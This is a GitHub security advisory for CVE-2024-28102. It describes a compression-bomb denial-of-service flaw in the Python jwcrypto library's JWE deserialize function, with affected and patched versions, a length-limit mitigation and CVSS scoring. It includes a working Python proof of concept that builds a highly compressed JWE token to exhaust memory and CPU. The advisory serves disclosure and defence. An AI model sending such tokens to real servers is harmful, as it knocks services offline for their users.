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JWCrypto vulnerable to JWT bomb Attack in `deserialize` function

Moderate severity GitHub Reviewed Published Mar 6, 2024 in latchset/jwcrypto • Updated Mar 21, 2024

Package

pip jwcrypto (pip)

Affected versions

<= 1.5.5

Patched versions

1.5.6

Description

Affected version

Vendor: https://github.com/latchset/jwcrypto
Version: 1.5.5

Description

An attacker can cause a DoS attack by passing in a malicious JWE Token with a high compression ratio.
When the server processes this Token, it will consume a lot of memory and processing time.

Poc

from jwcrypto import jwk, jwe
from jwcrypto.common import json_encode, json_decode
import time
public_key = jwk.JWK()
private_key = jwk.JWK.generate(kty='RSA', size=2048)
public_key.import_key(**json_decode(private_key.export_public()))


payload = '{"u": "' + "u" * 400000000 + '", "uu":"' + "u" * 400000000 + '"}'
protected_header = {
    "alg": "RSA-OAEP-256",
    "enc": "A256CBC-HS512",
    "typ": "JWE",
    "zip": "DEF",
    "kid": public_key.thumbprint(),
}
jwetoken = jwe.JWE(payload.encode('utf-8'),
                   recipient=public_key,
                   protected=protected_header)
enc = jwetoken.serialize(compact=True)

print("-----uncompress-----")

print(len(enc))

begin = time.time()

jwetoken = jwe.JWE()
jwetoken.deserialize(enc, key=private_key)

print(time.time() - begin)

print("-----compress-----")

payload = '{"u": "' + "u" * 400000 + '", "uu":"' + "u" * 400000 + '"}'
protected_header = {
    "alg": "RSA-OAEP-256",
    "enc": "A256CBC-HS512",
    "typ": "JWE",
    "kid": public_key.thumbprint(),
}
jwetoken = jwe.JWE(payload.encode('utf-8'),
                   recipient=public_key,
                   protected=protected_header)
enc = jwetoken.serialize(compact=True)

print(len(enc))

begin = time.time()

jwetoken = jwe.JWE()
jwetoken.deserialize(enc, key=private_key)

print(time.time() - begin)

It can be found that when processing Tokens with similar lengths, the processing time of compressed tokens is significantly longer.
image

Mitigation

To mitigate this vulnerability, it is recommended to limit the maximum token length to 250K. This approach has also
been adopted by the JWT library System.IdentityModel.Tokens.Jwt used in Microsoft Azure [1], effectively preventing
attackers from exploiting this vulnerability with high compression ratio tokens.

References

[1] CVE-2024-21319

References

@simo5 simo5 published to latchset/jwcrypto Mar 6, 2024
Published to the GitHub Advisory Database Mar 6, 2024
Reviewed Mar 6, 2024
Published by the National Vulnerability Database Mar 21, 2024
Last updated Mar 21, 2024

Severity

Moderate

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
High
User interaction
None
Scope
Changed
Confidentiality
None
Integrity
None
Availability
High

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:N/I:N/A:H

EPSS score

0.043%
(10th percentile)

Weaknesses

CVE ID

CVE-2024-28102

GHSA ID

GHSA-j857-7rvv-vj97

Source code

Credits

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